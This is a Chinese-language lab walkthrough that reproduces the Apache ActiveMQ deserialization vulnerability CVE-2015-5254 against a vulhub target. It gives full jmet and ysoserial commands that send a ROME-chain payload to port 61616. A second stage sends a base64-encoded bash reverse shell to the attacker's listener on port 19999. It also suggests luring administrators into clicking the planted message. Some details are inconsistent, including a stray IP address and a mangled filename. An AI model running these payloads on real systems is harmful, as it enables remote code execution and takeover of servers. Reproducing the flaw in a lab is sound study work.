一、漏洞描述
Apache ActiveMQ 是由美国阿帕奇(Apache)软件基金会开发的开源消息中间件,支持 Java 消息服务、集群、Spring 框架等。属于消息队列组件(消息队列组件:分布式系统中的重要组件,主要解决应用耦合、异步消息、流量削峰等)。
二、漏洞成因
Apache ActiveMQ 5.13.0版本之前到5.x版本的安全漏洞,该程序引起的漏洞不限制代理中可以序列化的类。远程攻击者可以制作一个特殊的序列化 Java 消息服务 (JMS) ObjectMessage 对象,利用该漏洞执行任意代码。
三、影响版本
Apache ActiveMQ 5.x ~ Apache ActiveMQ 5.13.0
四、利用限制
1).版本符合
2).立即执行代码:能够通过弱密码登录查看消息队列
3).没有查看队列所有消息的用户名和密码下,只能管理员/用户去点击我们插入的消息才能触发(比较鸡肋,但可以写入创建用户命令等待管理员点击查看,概率很大!)
五、复现环境
靶机:安装了docker的vulhub靶场 192.168.153.133
攻击机 :2021 版本的kail机(如果版本是2023版的kail可能Java消息利用工具不兼容(Java1.8)) 192.168.153.132
#开启靶场:找到所对应的漏洞的路径开启
cd vulhub
cd activemq/CVE-2015-5254
#启用漏洞环境
docker-compose up -d
六、漏洞利用
6.1.运行环境后,会建立61616和8161这两个端口。
6.2.其中61616端口是工作端口,消息在这个端口上传递;8161端口为网页管理页面端口。访问http://192.168.153.133:8161,如下:
6.3.打开http://192.200.30.72:8081/admin,使用默认密码(admin/admin)登录,可以看到ActiveMQ版本是5.11.1,属于ActiveMQ 反序列化漏洞 (CVE-2015-5254)的影响版本范围。
6.4复现描述:
1.生成序列化的有效负载(可以使用 ysoserial)
2.作为一个消息,将有效负载发送到端口 61616
3.访问web管理页面并读取序列化消息,然后就可以触发这个漏洞了。
6.5复现过程
1.在kali攻击机上下载jmet的jar(Java 消息利用工具)文件(速度慢的也可以在Windows下载在拉进去kail里),然后在同目录下创建external文件夹。(否则可能会出现文件夹不存在的错误)
#下载jmet的jar包 wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
#创建external目录
mkdir external
2.执行命令,将有效负载发送到目标IP的61616端口。
java -jar jmet-0.1.0-all.jar -Q myevent -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.153.133 61616
【命令解释】:调用java -jar 运行 jmet的jar包,-Q是插入一个名为myevent的队列,-I 是选择装载ActiveMQ模块 ,-s 是选择ysoserial payload ,-Y 是攻击模式和内容, -Yp 是选择攻击利用链,这是选择是ROME, 之后带上IP加端口。
java -jar jmet-0.1.0-all\ .jar -Q myevent -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.153.133 61616
3.这时,会给目标ActiveMQ添加一个myevent列,我们可以通过看到http://192.168.153.133:8161/admin/browse.jsp?JMSDestination=myevent这个队列中所有消息:
点击查看这条消息(myevent )即可触发命令执行
登录ActiveMQ容器环境,查看命令已经执行成功,/tmp/sucess文件已成功创建。
#****** -->为docker ID,使用docker ps命令能够查看
docker exec -it ****** /bin/bashcd /root
cd /tmp
(懒得敲,网上拿人家的)
至此验证漏洞存在并复现完毕
漏洞利用(反弹shell)
局限性:在等待shell连接时候,需要管理员/用户点击你的事件
攻击者于19999端口监听shell连接
发送bash弹shell的命令payload到服务器
(这里需要对bash命令进行base64编码)
bash -i >& /dev/tcp/192.168.153.132/19999 0>&1
base64 :YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1My4xMzIvMTk5OTkgMD4mMQ==
java -jar jmet-0.1.0-all\ .jar -Q myevent -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1My4xMzIvMTk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.153.133 61616
成功添加事件
靶机点击事件促发监听
kail:nc -lvvp 19999
七、疑问(网上找了一些回答)
八、总结
通过网页管理页面访问消息并触发漏洞需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接来触发,或者伪装成来自其他服务的合法消息需要等待客户端访问时才触发。(有点像存储型xss)